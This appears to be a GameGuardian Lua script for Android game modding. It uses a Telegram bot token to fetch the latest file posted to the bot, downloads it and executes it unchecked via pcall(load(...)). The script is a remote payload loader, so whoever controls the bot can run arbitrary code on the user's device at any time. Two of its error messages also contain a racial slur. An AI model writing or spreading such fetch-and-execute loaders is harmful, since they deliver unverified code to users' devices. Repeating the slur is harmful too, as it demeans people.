local token = "<Telegram bot token>"
-- Fetch latest file update
local url = "https://api.telegram.org/bot" .. token .. "/getUpdates?limit=1&offset=-1"
local response = gg.makeRequest(url)
if not response or not response.content then
gg.alert("Failed to fetch updates!")
os.exit()
end
-- Extract latest file_id directly
local file_id = response.content:match('"file_id":"(.-)"')
if not file_id then
gg.alert("No file id! update nigga")
os.exit()
end
-- Fetch file path
local file_path_url = "https://api.telegram.org/bot" .. token .. "/getFile?file_id=" .. file_id
local file_path_response = gg.makeRequest(file_path_url)
local file_path = file_path_response.content:match('"file_path":"(.-)"')
if not file_path then
gg.alert("cant get file path!")
os.exit()
end
-- Load file
local load_File = "https://api.telegram.org/file/bot" .. token .. "/" .. file_path
local final_response = gg.makeRequest(load_File)
if not final_response or not final_response.content then
gg.alert("cant load file nigga!")
os.exit()
end
pcall(load(final_response.content))
13 8月 2025, 04:52

